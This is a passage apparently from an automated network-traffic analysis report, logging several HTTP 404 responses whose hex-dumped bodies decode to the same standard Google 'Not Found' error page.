6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:09 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:10 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:12 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:15 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:16 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:17 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
